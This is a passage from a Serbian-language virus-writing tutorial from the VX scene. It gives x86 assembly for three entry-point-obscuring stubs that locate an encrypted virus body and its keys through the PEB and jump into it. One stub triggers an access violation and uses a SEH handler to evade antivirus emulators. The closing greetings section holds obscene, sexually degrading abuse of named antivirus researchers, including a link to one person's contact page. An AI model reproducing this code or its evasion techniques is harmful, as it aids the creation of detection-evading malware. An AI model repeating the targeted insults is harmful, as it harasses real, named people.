mov eax, FS:[30h]
mov eax, dword ptr[eax+8]
mov ebx, dword ptr[eax+48h] ; First crypte key
mov edx, dword ptr[eax+4ch] ; Second crypt key
add eax, dword ptr[eax+44h] ; RVA of a virus
mov [esi.CONTEXT_Eip], eax
mov [esi.CONTEXT_Eax], eax
mov [esi.CONTEXT_Ebx], ebx
mov [esi.CONTEXT_Edx], edx
sub eax, eax
ret
__end_host:
Ovaj EPO mi je iskreno najlepsi jer ce postaviti SEH i napraviti Access Violation
i tok programa ce se prebaciti na SEH handler koji ce popuniti Context sa
vrednostima koje meni trebaju. Tako da cu ulaskom u virus imati sledecu situaciju :
eax -> adresa virusa
ebx -> prvi kript kljuc
edx -> drugi kript kljuc
+ ova tehnika je takodje ANTI-HEURISTIK jer koristi SEH da skoci na virus, a i
prouzrokuje padanje programa sto emulatori nisu u stanju da kontrolisu i misle da
je pao program
host1:
mov eax, signature
push eax
pop edx
mov eax, dword ptr FS:[30h]
mov eax, dword ptr[eax + 8]
mov ebx, dword ptr[eax + 48h]
mov edx, dword ptr[eax + 4ch]
add eax, dword ptr[eax + 44h]
call eax
__end_host1:
Drugi EPO koji u sustini radi isto sto i prvi, nista slozeno, prosto ka pasulj :)
host2:
push dword ptr FS:[30h]
pop eax
mov eax, dword ptr[eax +8]
push dword ptr[eax+48h]
pop ebx
push dword ptr[eax+4ch]
pop edx
add eax, dword ptr[eax+44h]
push eax
ret
__end_host2:
Treci EPO, slican kao i 2gi pa ga ne treba objasnjavati.
Ako ste pratili tok koda, sigurno vam je upalo u oci ovo :
mov eax, dword ptr FS:[30h]
mov eax, dowrd ptr [eax+8]
kd> dt nt!_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
...
Dakle u PEB na offsetu 8 nalazi se adresa naseg programa ucitanog u memoriju.
To je to.
3. Zahvalnice/Pohvalnice
Pa svima koji su nonstop na #ugs kanalu :) Druge nemam da pozdravljam, jer su ovi
momci do jaja gotivni likovi :)
Napusavanja:
Svim debilima koji tvrde da je KAV najbolji ->>> DUVAJTE GA GLUPI KASPERASI...
Svim debilima koji koriste Sophos ->>> Uaaaa picke, keve vam se jebu sa crncima...
Kasperski, jebo sam ti zenu... jebe se ko prava ruskinja... A ti kurca nemas, ne
moze ti se digne jer si zauzet lovom na virusopisce... duvaj ga...
Graham Cluley -> Debil is Sophosa koji siri lazi, SVINJCUGO, NE MOZES KURAC DA
NADJES U SALU, TI CES DA NADJES VIRUS
Pazite tu svinju : http://www.sophos.com/pressoffice/contacts/grahamc.html
Bolje da trci umesto sto sere
4. Izvori
Sundance (reko ja da cu te stavim u ovaj deo :))
29a zinovi - http://www.vx.netlux.org/29a/
VX Heavens - http://www.vx.netlux.org
Ovo je dovoljno da se napise virus...